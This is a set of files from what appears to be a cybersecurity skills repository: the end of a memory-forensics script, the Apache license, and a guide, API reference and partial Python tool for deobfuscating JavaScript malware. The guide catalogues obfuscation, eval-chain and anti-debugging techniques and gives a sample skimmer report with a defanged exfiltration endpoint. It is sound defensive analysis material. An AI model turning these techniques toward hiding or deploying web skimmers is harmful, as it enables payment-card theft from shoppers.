"hidden_drivers": hidden_drivers,
|
||||
}
|
||||
total_findings = len(suspicious_procs) + len(injections) + len(suspicious_cmds) + len(hidden_drivers)
|
||||
print(f"MEMORY FORENSICS REPORT - {total_findings} findings")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Memory Forensics Agent (Volatility 3)")
|
||||
parser.add_argument("--memory-file", required=True, help="Path to memory dump file")
|
||||
parser.add_argument("--output", default="memory_forensics_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
processes, suspicious = analyze_processes(args.memory_file)
|
||||
connections, established = analyze_network_connections(args.memory_file)
|
||||
injections = detect_process_injection(args.memory_file)
|
||||
cmdlines, suspicious_cmds = extract_command_history(args.memory_file)
|
||||
modules, hidden = check_kernel_modules(args.memory_file)
|
||||
|
||||
report = generate_forensics_report(
|
||||
args.memory_file, processes, suspicious, established,
|
||||
injections, suspicious_cmds, hidden,
|
||||
)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,360 @@
|
||||
---
|
||||
name: deobfuscating-javascript-malware
|
||||
description: Deobfuscates malicious JavaScript found in phishing pages, web skimmers, and dropper scripts by reversing encoding layers, eval chains, string manipulation, and control-flow obfuscation to reveal the original malicious logic. Use when investigating a phishing page's obfuscated JavaScript, analyzing a Magecart-style web skimmer, or deobfuscating a JavaScript dropper that fetches second-stage malware.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- JavaScript
|
||||
- deobfuscation
|
||||
- web-malware
|
||||
- script-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1027
|
||||
- T1027.010
|
||||
- T1140
|
||||
- T1059.007
|
||||
- T1027.006
|
||||
---
|
||||
|
||||
# Deobfuscating JavaScript Malware
|
||||
|
||||
## When to Use
|
||||
|
||||
- Investigating a phishing page with obfuscated JavaScript that performs credential harvesting or redirect
|
||||
- Analyzing a web skimmer (Magecart-style) injected into an e-commerce site
|
||||
- Deobfuscating a JavaScript dropper that downloads and executes second-stage malware
|
||||
- Examining malicious email attachments containing HTML files with embedded obfuscated scripts
|
||||
- Analyzing browser exploit kits that use heavy JavaScript obfuscation to hide exploit delivery
|
||||
|
||||
**Do not use** for obfuscated JavaScript that is merely minified production code; use a standard beautifier instead.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Node.js 18+ installed for executing and debugging JavaScript in a controlled environment
|
||||
- Python 3.8+ with `jsbeautifier` library for code formatting
|
||||
- Browser developer tools (Chrome DevTools) for controlled execution in an isolated browser
|
||||
- CyberChef (https://gchq.github.io/CyberChef/) for encoding/decoding operations
|
||||
- de4js or JStillery for automated JavaScript deobfuscation
|
||||
- Isolated analysis VM with no access to production systems or sensitive data
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Safely Extract and Examine the Obfuscated Script
|
||||
|
||||
Isolate the malicious JavaScript without executing it:
|
||||
|
||||
```bash
|
||||
# Extract JavaScript from HTML file
|
||||
python3 << 'PYEOF'
|
||||
from html.parser import HTMLParser
|
||||
|
||||
class ScriptExtractor(HTMLParser):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.in_script = False
|
||||
self.scripts = []
|
||||
self.current = ""
|
||||
|
||||
def handle_starttag(self, tag, attrs):
|
||||
if tag == "script":
|
||||
self.in_script = True
|
||||
self.current = ""
|
||||
|
||||
def handle_endtag(self, tag):
|
||||
if tag == "script":
|
||||
self.in_script = False
|
||||
if self.current.strip():
|
||||
self.scripts.append(self.current)
|
||||
|
||||
def handle_data(self, data):
|
||||
if self.in_script:
|
||||
self.current += data
|
||||
|
||||
with open("malicious_page.html") as f:
|
||||
parser = ScriptExtractor()
|
||||
parser.feed(f.read())
|
||||
|
||||
for i, script in enumerate(parser.scripts):
|
||||
with open(f"script_{i}.js", "w") as f:
|
||||
f.write(script)
|
||||
print(f"Extracted script_{i}.js ({len(script)} bytes)")
|
||||
PYEOF
|
||||
|
||||
# Beautify the extracted JavaScript
|
||||
npx js-beautify script_0.js -o script_0_pretty.js
|
||||
```
|
||||
|
||||
### Step 2: Identify Obfuscation Techniques
|
||||
|
||||
Categorize the obfuscation methods used:
|
||||
|
||||
```
|
||||
Common JavaScript Obfuscation Techniques:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
String Encoding:
|
||||
- Hex encoding: "\x68\x65\x6c\x6c\x6f" -> "hello"
|
||||
- Unicode escapes: "\u0068\u0065\u006c\u006c\u006f" -> "hello"
|
||||
- Base64: atob("aGVsbG8=") -> "hello"
|
||||
- charCodeAt/fromCharCode: String.fromCharCode(104,101,108,108,111)
|
||||
- Array-based lookup: var _0x1234 = ["hello","world"]; _0x1234[0]
|
||||
|
||||
Eval Chains:
|
||||
- eval(atob("..."))
|
||||
- eval(unescape("..."))
|
||||
- new Function("return " + decoded)()
|
||||
- document.write("<script>" + decoded + "</script>")
|
||||
- setTimeout(decoded, 0)
|
||||
|
||||
Control Flow:
|
||||
- Switch-case dispatcher with shuffled case order
|
||||
- Opaque predicates (always-true/false conditions)
|
||||
- Dead code insertion
|
||||
- Variable name mangling (_0x4a3b, _0xab12)
|
||||
|
||||
Anti-Analysis:
|
||||
- Debugger traps: setInterval(function(){debugger;}, 100)
|
||||
- Console detection: overriding console.log
|
||||
- Timing checks: performance.now() deltas
|
||||
- DevTools detection: window.outerWidth - window.innerWidth > 100
|
||||
```
|
||||
|
||||
### Step 3: Remove Anti-Analysis Protections
|
||||
|
||||
Neutralize anti-debugging and anti-analysis traps:
|
||||
|
||||
```javascript
|
||||
// Remove debugger traps before analysis
|
||||
// Replace in the obfuscated script:
|
||||
|
||||
// Before:
|
||||
setInterval(function() { debugger; }, 100);
|
||||
|
||||
// After (neutralized):
|
||||
setInterval(function() { /* debugger removed */ }, 100);
|
||||
|
||||
// Neutralize DevTools detection
|
||||
// Before:
|
||||
if (window.outerWidth - window.innerWidth > 160) { window.location = "about:blank"; }
|
||||
|
||||
// After:
|
||||
if (false) { window.location = "about:blank"; }
|
||||
|
||||
// Neutralize timing checks
|
||||
// Override performance.now to return consistent values
|
||||
const originalNow = performance.now;
|
||||
performance.now = function() { return 0; };
|
||||
```
|
||||
|
||||
### Step 4: Decode String Obfuscation Layers
|
||||
|
||||
Progressively decode encoded strings:
|
||||
|
||||
```python
|
||||
# Python script to decode common JS obfuscation patterns
|
||||
import re
|
||||
import base64
|
||||
import urllib.parse
|
||||
|
||||
def decode_hex_strings(code):
|
||||
"""Replace \\xNN sequences with ASCII characters"""
|
||||
def hex_replace(match):
|
||||
hex_str = match.group(0)
|
||||
try:
|
||||
return bytes.fromhex(hex_str.replace("\\x", "")).decode("ascii")
|
||||
except:
|
||||
return hex_str
|
||||
return re.sub(r'(?:\\x[0-9a-fA-F]{2})+', hex_replace, code)
|
||||
|
||||
def decode_unicode_escapes(code):
|
||||
"""Replace \\uNNNN sequences with characters"""
|
||||
def unicode_replace(match):
|
||||
return chr(int(match.group(1), 16))
|
||||
return re.sub(r'\\u([0-9a-fA-F]{4})', unicode_replace, code)
|
||||
|
||||
def decode_charcode_arrays(code):
|
||||
"""Resolve String.fromCharCode calls"""
|
||||
def charcode_replace(match):
|
||||
codes = [int(c.strip()) for c in match.group(1).split(",")]
|
||||
return '"' + "".join(chr(c) for c in codes) + '"'
|
||||
return re.sub(r'String\.fromCharCode\(([0-9,\s]+)\)', charcode_replace, code)
|
||||
|
||||
def decode_base64_strings(code):
|
||||
"""Resolve atob() calls with static strings"""
|
||||
def atob_replace(match):
|
||||
try:
|
||||
decoded = base64.b64decode(match.group(1)).decode("utf-8")
|
||||
return f'"{decoded}"'
|
||||
except:
|
||||
return match.group(0)
|
||||
return re.sub(r'atob\(["\']([A-Za-z0-9+/=]+)["\']\)', atob_replace, code)
|
||||
|
||||
# Apply all decoders
|
||||
with open("script_0.js") as f:
|
||||
code = f.read()
|
||||
|
||||
code = decode_hex_strings(code)
|
||||
code = decode_unicode_escapes(code)
|
||||
code = decode_charcode_arrays(code)
|
||||
code = decode_base64_strings(code)
|
||||
|
||||
with open("script_0_decoded.js", "w") as f:
|
||||
f.write(code)
|
||||
print("Decoded strings written to script_0_decoded.js")
|
||||
```
|
||||
|
||||
### Step 5: Resolve Eval Chains Safely
|
||||
|
||||
Unwrap eval/Function constructor chains without executing:
|
||||
|
||||
```javascript
|
||||
// Node.js script to safely resolve eval chains
|
||||
// Run in isolated environment: node --experimental-vm-modules deobfuscate.js
|
||||
|
||||
const vm = require('vm');
|
||||
|
||||
// Create sandboxed context with logging
|
||||
const sandbox = {
|
||||
eval: function(code) {
|
||||
console.log("=== EVAL INTERCEPTED ===");
|
||||
console.log(code.substring(0, 500));
|
||||
console.log("========================");
|
||||
return code; // Return the code instead of executing it
|
||||
},
|
||||
document: {
|
||||
write: function(html) {
|
||||
console.log("=== DOCUMENT.WRITE INTERCEPTED ===");
|
||||
console.log(html.substring(0, 500));
|
||||
},
|
||||
getElementById: function() { return { innerHTML: "" }; }
|
||||
},
|
||||
window: { location: { href: "" } },
|
||||
atob: function(s) { return Buffer.from(s, 'base64').toString(); },
|
||||
unescape: unescape,
|
||||
setTimeout: function(fn) { if (typeof fn === 'string') console.log("TIMEOUT CODE:", fn); },
|
||||
console: console,
|
||||
String: String,
|
||||
Array: Array,
|
||||
parseInt: parseInt,
|
||||
RegExp: RegExp,
|
||||
};
|
||||
|
||||
const context = vm.createContext(sandbox);
|
||||
|
||||
// Load and execute the obfuscated script in sandbox
|
||||
const fs = require('fs');
|
||||
const code = fs.readFileSync('script_0.js', 'utf8');
|
||||
|
||||
try {
|
||||
vm.runInContext(code, context, { timeout: 5000 });
|
||||
} catch(e) {
|
||||
console.log("Execution error (expected):", e.message);
|
||||
}
|
||||
```
|
||||
|
||||
### Step 6: Analyze the Deobfuscated Payload
|
||||
|
||||
Examine the revealed malicious logic:
|
||||
|
||||
```
|
||||
Deobfuscated Malware Categories and IOC Extraction:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
Credential Harvester:
|
||||
- Form action URLs (exfiltration endpoints)
|
||||
- XMLHttpRequest/fetch destinations
|
||||
- Targeted input field names (username, password, cc_number)
|
||||
|
||||
Web Skimmer (Magecart):
|
||||
- Payment form overlay injection
|
||||
- Card data exfiltration URLs
|
||||
- Keylogger event listeners (onkeypress, oninput)
|
||||
|
||||
Redirect Script:
|
||||
- Destination URLs in location.href assignments
|
||||
- Conditional redirects based on user-agent or referrer
|
||||
- Cloaking logic (show benign content to bots)
|
||||
|
||||
Exploit Kit Landing:
|
||||
- Browser/plugin version checks
|
||||
- Exploit payload URLs
|
||||
- Shellcode embedded as arrays or encoded strings
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Eval Chain** | Nested layers of eval(), Function(), or document.write() calls that each decode one layer of obfuscation before passing to the next |
|
||||
| **String Array Rotation** | Obfuscation technique storing all strings in a shuffled array and accessing them by computed index to hide string literals |
|
||||
| **Dead Code Insertion** | Adding non-functional code blocks that never execute to increase analysis complexity and confuse pattern matching |
|
||||
| **Opaque Predicate** | Conditional expression whose outcome is predetermined but difficult to determine statically; used to obscure control flow |
|
||||
| **Anti-Debugging** | JavaScript techniques to detect and thwart browser DevTools or debugger usage including debugger statements and timing checks |
|
||||
| **Web Skimmer** | Malicious JavaScript injected into e-commerce sites to steal payment card data from checkout forms (Magecart attack) |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **CyberChef**: GCHQ's web-based tool for encoding/decoding transformations useful for unwinding multi-layer obfuscation
|
||||
- **de4js**: Online JavaScript deobfuscator supporting common obfuscation tools (obfuscator.io, JScrambler)
|
||||
- **Node.js VM Module**: Sandboxed JavaScript execution environment for safely evaluating obfuscated code with intercepted APIs
|
||||
- **Chrome DevTools**: Browser developer tools for stepping through JavaScript execution with breakpoints and console access
|
||||
- **JSDetox**: JavaScript malware analysis tool providing execution emulation and deobfuscation
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Deobfuscating a Magecart Web Skimmer
|
||||
|
||||
**Context**: A compromised e-commerce site has obfuscated JavaScript injected into its checkout page. The script needs deobfuscation to identify the data exfiltration endpoint and determine what customer data was stolen.
|
||||
|
||||
**Approach**:
|
||||
1. Extract the injected script from the page source (often appended to a legitimate JS file or loaded from an external domain)
|
||||
2. Beautify the code and identify the obfuscation technique (typically string array + rotation + hex encoding)
|
||||
3. Decode string encoding layers (hex -> Unicode -> base64) using the Python decoder script
|
||||
4. Resolve the string array by evaluating the array definition and rotation function
|
||||
5. Identify the form targeting logic (querySelector for payment form fields)
|
||||
6. Extract the exfiltration URL from the XMLHttpRequest or fetch call
|
||||
7. Document stolen data fields and exfiltration endpoint for incident response
|
||||
|
||||
**Pitfalls**:
|
||||
- Executing obfuscated scripts on a connected system (the script may phone home during analysis)
|
||||
- Not removing anti-debugging traps before using browser DevTools (infinite debugger loops)
|
||||
- Missing additional obfuscation layers loaded dynamically from external URLs
|
||||
- Overlooking base64-encoded inline images or data URIs that may contain additional scripts
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
JAVASCRIPT MALWARE DEOBFUSCATION REPORT
|
||||
=========================================
|
||||
Source: checkout.js (injected into example-shop.com)
|
||||
Obfuscation: obfuscator.io (string array + rotation + hex encoding)
|
||||
Layers Removed: 3
|
||||
|
||||
OBFUSCATION TECHNIQUES IDENTIFIED
|
||||
[1] String array with 247 entries, rotated by 0x1a3
|
||||
[2] Hex-encoded string references (\x68\x65\x6c\x6c\x6f)
|
||||
[3] Base64-wrapped eval chain (2 layers)
|
||||
[4] Anti-debugging: setInterval debugger trap
|
||||
|
||||
DEOBFUSCATED FUNCTIONALITY
|
||||
Type: Magecart Payment Card Skimmer
|
||||
Target Forms: input[name*="card"], input[name*="cc_"]
|
||||
Data Captured: Card number, expiration, CVV, cardholder name
|
||||
Exfil Method: POST via XMLHttpRequest
|
||||
Exfil URL: hxxps://analytics-cdn[.]com/collect
|
||||
Exfil Format: JSON { "cn": card_number, "exp": expiry, "cv": cvv }
|
||||
Trigger: Form submit event on checkout page
|
||||
|
||||
EXTRACTED IOCs
|
||||
Domains: analytics-cdn[.]com
|
||||
IPs: 185.220.101[.]42
|
||||
URLs: hxxps://analytics-cdn[.]com/collect
|
||||
hxxps://analytics-cdn[.]com/gate.js
|
||||
```
|
||||
@@ -0,0 +1,86 @@
|
||||
# JavaScript Malware Deobfuscation API Reference
|
||||
|
||||
## jsbeautifier (Python)
|
||||
|
||||
```python
|
||||
import jsbeautifier
|
||||
|
||||
opts = jsbeautifier.default_options()
|
||||
opts.indent_size = 2
|
||||
opts.wrap_line_length = 120
|
||||
|
||||
result = jsbeautifier.beautify(obfuscated_code, opts)
|
||||
```
|
||||
|
||||
## jsbeautifier CLI
|
||||
|
||||
```bash
|
||||
# Beautify a file
|
||||
js-beautify malicious.js -o output.js
|
||||
|
||||
# npx alternative
|
||||
npx js-beautify script.js -o script_pretty.js
|
||||
```
|
||||
|
||||
## Common Decoding Patterns (Python)
|
||||
|
||||
```python
|
||||
import re, base64, urllib.parse
|
||||
|
||||
# Hex strings: \x68\x65\x6c\x6c\x6f -> hello
|
||||
decoded = bytes.fromhex("68656c6c6f").decode("ascii")
|
||||
|
||||
# Unicode escapes: \u0068\u0065 -> he
|
||||
decoded = chr(0x0068) + chr(0x0065)
|
||||
|
||||
# Base64 (atob equivalent)
|
||||
decoded = base64.b64decode("aGVsbG8=").decode("utf-8")
|
||||
|
||||
# URL encoding (unescape equivalent)
|
||||
decoded = urllib.parse.unquote("%68%65%6c%6c%6f")
|
||||
|
||||
# String.fromCharCode
|
||||
decoded = "".join(chr(c) for c in [104, 101, 108, 108, 111])
|
||||
```
|
||||
|
||||
## Node.js VM Sandbox
|
||||
|
||||
```javascript
|
||||
const vm = require('vm');
|
||||
const sandbox = {
|
||||
eval: function(code) {
|
||||
console.log("EVAL INTERCEPTED:", code.substring(0, 500));
|
||||
return code;
|
||||
},
|
||||
document: { write: function(h) { console.log("DOC.WRITE:", h); } },
|
||||
atob: function(s) { return Buffer.from(s, 'base64').toString(); },
|
||||
window: { location: { href: "" } },
|
||||
};
|
||||
const context = vm.createContext(sandbox);
|
||||
vm.runInContext(code, context, { timeout: 5000 });
|
||||
```
|
||||
|
||||
## CyberChef Operations
|
||||
|
||||
| Operation | Use Case |
|
||||
|-----------|----------|
|
||||
| From Hex | Decode `\xNN` sequences |
|
||||
| From Base64 | Decode `atob()` payloads |
|
||||
| URL Decode | Decode `unescape()` strings |
|
||||
| JavaScript Beautify | Format minified code |
|
||||
| From CharCode | Decode `fromCharCode` arrays |
|
||||
| XOR | Decode XOR-encrypted strings |
|
||||
| Generic Code Beautify | Format mixed content |
|
||||
|
||||
## IOC Extraction Regex
|
||||
|
||||
```python
|
||||
# URLs
|
||||
re.findall(r'https?://[^\s"\'<>)]+', code)
|
||||
|
||||
# IP addresses
|
||||
re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b', code)
|
||||
|
||||
# Domains
|
||||
re.findall(r'(?:[a-zA-Z0-9-]+\.)+(?:com|net|org|io|xyz)\b', code)
|
||||
```
|
||||
@@ -0,0 +1,210 @@
|
||||
#!/usr/bin/env python3
|
||||
"""JavaScript malware deobfuscation agent using jsbeautifier and pattern matching."""
|
||||
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import base64
|
||||
import urllib.parse
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
import jsbeautifier
|
||||
except ImportError:
|
||||
jsbeautifier = None
|
||||
|
||||
|
||||
def beautify_js(code):
|
||||
"""Beautify JavaScript code using jsbeautifier."""
|
||||
if jsbeautifier is None:
|
||||
return code
|
||||
opts = jsbeautifier.default_options()
|
||||
opts.indent_size = 2
|
||||
opts.wrap_line_length = 120
|
||||
return jsbeautifier.beautify(code, opts)
|
||||
|
||||
|
||||
def decode_hex_strings(code):
|
||||
"""Replace \\xNN hex escape sequences with ASCII characters."""
|
||||
def hex_replace(match):
|
||||
hex_str = match.group(0)
|
||||
try:
|
||||
return bytes.fromhex(hex_str.replace("\\x", "")).decode("ascii", errors="replace")
|
||||
except Exception:
|
||||
return hex_str
|
||||
return re.sub(r'(?:\\x[0-9a-fA-F]{2})+', hex_replace, code)
|
||||
|
||||
|
||||
def decode_unicode_escapes(code):
|
||||
"""Replace \\uNNNN sequences with actual characters."""
|
||||
def unicode_replace(match):
|
||||
try:
|
||||
return chr(int(match.group(1), 16))
|
||||
except Exception:
|
||||
return match.group(0)
|
||||
return re.sub(r'\\u([0-9a-fA-F]{4})', unicode_replace, code)
|
||||
|
||||
|
||||
def decode_charcode_calls(code):
|
||||
"""Resolve String.fromCharCode() calls with static arguments."""
|
||||
def charcode_replace(match):
|
||||
try:
|
||||
codes = [int(c.strip()) for c in match.group(1).split(",") if c.strip()]
|
||||
return '"' + "".join(chr(c) for c in codes) + '"'
|
||||
except Exception:
|
||||
return match.group(0)
|
||||
return re.sub(r'String\.fromCharCode\(([0-9,\s]+)\)', charcode_replace, code)
|
||||
|
||||
|
||||
def decode_atob_calls(code):
|
||||
"""Resolve atob() calls containing static base64 strings."""
|
||||
def atob_replace(match):
|
||||
try:
|
||||
decoded = base64.b64decode(match.group(1)).decode("utf-8", errors="replace")
|
||||
return json.dumps(decoded)
|
||||
except Exception:
|
||||
return match.group(0)
|
||||
return re.sub(r'atob\(["\']([A-Za-z0-9+/=]+)["\']\)', atob_replace, code)
|
||||
|
||||
|
||||
def decode_unescape_calls(code):
|
||||
"""Resolve unescape() calls with percent-encoded strings."""
|
||||
def unescape_replace(match):
|
||||
try:
|
||||
decoded = urllib.parse.unquote(match.group(1))
|
||||
return json.dumps(decoded)
|
||||
except Exception:
|
||||
return match.group(0)
|
||||
return re.sub(r'unescape\(["\']([^"\']+)["\']\)', unescape_replace, code)
|
||||
|
||||
|
||||
def detect_obfuscation_techniques(code):
|
||||
"""Identify obfuscation techniques used in the script."""
|
||||
techniques = []
|
||||
if re.search(r'\\x[0-9a-fA-F]{2}', code):
|
||||
techniques.append("hex_encoding")
|
||||
if re.search(r'\\u[0-9a-fA-F]{4}', code):
|
||||
techniques.append("unicode_escapes")
|
||||
if "String.fromCharCode" in code:
|
||||
techniques.append("fromCharCode")
|
||||
if "atob(" in code:
|
||||
techniques.append("base64_atob")
|
||||
if re.search(r'eval\s*\(', code):
|
||||
techniques.append("eval_chain")
|
||||
if "new Function(" in code or "new Function (" in code:
|
||||
techniques.append("function_constructor")
|
||||
if re.search(r'document\.write\s*\(', code):
|
||||
techniques.append("document_write")
|
||||
if re.search(r'setTimeout\s*\(', code):
|
||||
